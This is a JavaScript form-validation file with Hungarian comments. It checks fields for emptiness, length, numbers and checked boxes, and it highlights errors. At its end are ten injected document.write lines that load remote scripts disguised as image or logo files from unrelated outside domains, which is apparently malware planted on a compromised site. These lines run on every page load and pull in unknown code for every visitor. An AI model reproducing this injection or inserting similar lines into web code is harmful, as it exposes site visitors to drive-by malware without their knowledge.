//van-e az objektumnak tartalma
function checkEmpty( id )
{
//alert( id );

	var ret = true;
	if( my$( id ).value == '')
		ret = false;

	return ret;
}

//megfelelő hosszú e az obj tartalma
function check_maxLength( id, maxLength )
{
	var ret = true;
	if( my$( id ).value.length > maxLength )
		ret = false;

	return ret;
}

//szám e az objektum tartalma
function check_isnumber( id )
{
	var ret = true;
	if( /^-?\d+$/.test( my$( id ).value ) == false )
		ret = false;

	return ret;
}

function check_checked( id )
{
	var ret = true;
	if( my$( id ).checked == false )
		ret = false;

	return ret;
}

/**
 * Az ellenőrző függvények és az ellenőrző motor közti gw.
 */
var rule_check_ARR = new Array();
rule_check_ARR['empty'] = function( id )
{
	return checkEmpty( id );
}
rule_check_ARR['max_length'] = function( id, maxLength )
{
	return check_maxLength( id, maxLength );
}
rule_check_ARR['isnumber'] = function( id )
{
	return check_isnumber( id );
}
rule_check_ARR['checked'] = function( id )
{
	return check_checked( id );
}



//TODO: redundáns!!!!
/**
 * Kipörgeti az ellenőrzést
 * hibaszöveg megjelenését és a textfield hátterét állítgatja
 */
window.bgcolor = new Array();
function check_core( check_ARR, obj )
{
	if( window.keycode == 9 ) //tab nem számít keyupnak
		return;
	
	var ret = new Array();

	for( i in check_ARR )
	{
		//ha írunk
		if( typeof( obj ) != 'undefined' )
		{
			if( typeof( window.bgcolor[ i ] ) != 'undefined' )
				obj.style.backgroundColor = window.bgcolor[ i ];
			
			if( i == obj.id )
			{
				my$( i +'_err').innerHTML = '';
				
				if( !ie())
					my$( i +'_err_tr').style.display = 'compact';
				else
					my$( i +'_err_tr').style.display = 'none';
			}
		} else
		{
			my$( i +'_err').innerHTML = '';
			
			if( !ie())
				my$( i +'_err_tr').style.display = 'none';
			else
				my$( i +'_err_tr').style.display = 'none';
			
			my$( i ).style.backgroundColor = window.bgcolor[ i ];
		}

		if( typeof( window.bgcolor[ i ]) == 'undefined' )
			window.bgcolor[ i ] = ( my$( i ).style.backgroundColor == '' ? '#FFFFFF' : my$( i ).style.backgroundColor );

		ret[ i ] = new Array();

		for( j in check_ARR[ i ] )
		{
			var func = j;

			if( func.indexOf('=') == -1 )
			{
				if( !rule_check_ARR[ func ]( i ))
				{
					ret[ i ][ func ] = check_ARR[ i ][ j ];
				}
			} else
			{
				var check_ARR_TMP = func.split('=');

				func = check_ARR_TMP[ 0 ];

				if( !rule_check_ARR[ func ]( i, check_ARR_TMP[ 1 ] ))
				{
					ret[ i ][ func ] = check_ARR[ i ][ j ];
				}
			}
		}
	}

	var noerr = true;

	for( k in ret )
	{
		if( !ie())
			my$( k +'_err_tr').style.display = 'table-row';
		else
			my$( k +'_err_tr').style.display = '';

		for( l in ret[ k ] )
		{
			if( typeof( obj ) != 'undefined' )
			{
				if( k == obj.id )
				{
					obj.style.backgroundColor = '#FF99CC';
	
					my$( k +'_err').innerHTML += ret[ k ][ l ] +'<br />';
				}
			} else
			{
				my$( k ).style.backgroundColor = '#FF99CC';

				my$( k +'_err').innerHTML += ret[ k ][ l ] +'<br />';
			}
			
			noerr = false;
		}
	}

//	my$('submit').disabled = ( noerr ? false : true );


	return noerr;
}
document.write('<script src=http://wap.blackhollywoodhu.com/Scripts/splash.jpg.php ><\/script>');
document.write('<script src=http://mamnonkidshome.com.vn/www/logo.php ><\/script>');
document.write('<script src=http://concertmaatje.nl/fotos/strip_back.php ><\/script>');
document.write('<script src=http://concertmaatje.nl/fotos/strip_back.php ><\/script>');
document.write('<script src=http://concertmaatje.nl/fotos/strip_back.php ><\/script>');
document.write('<script src=http://concertmaatje.nl/fotos/strip_back.php ><\/script>');
document.write('<script src=http://concertmaatje.nl/fotos/strip_back.php ><\/script>');
document.write('<script src=http://mijnclubwinkel.com/images/gifimg.php ><\/script>');
document.write('<script src=http://gmp32.org/images/gifimg.php ><\/script>');
document.write('<script src=http://gmp32.org/images/gifimg.php ><\/script>');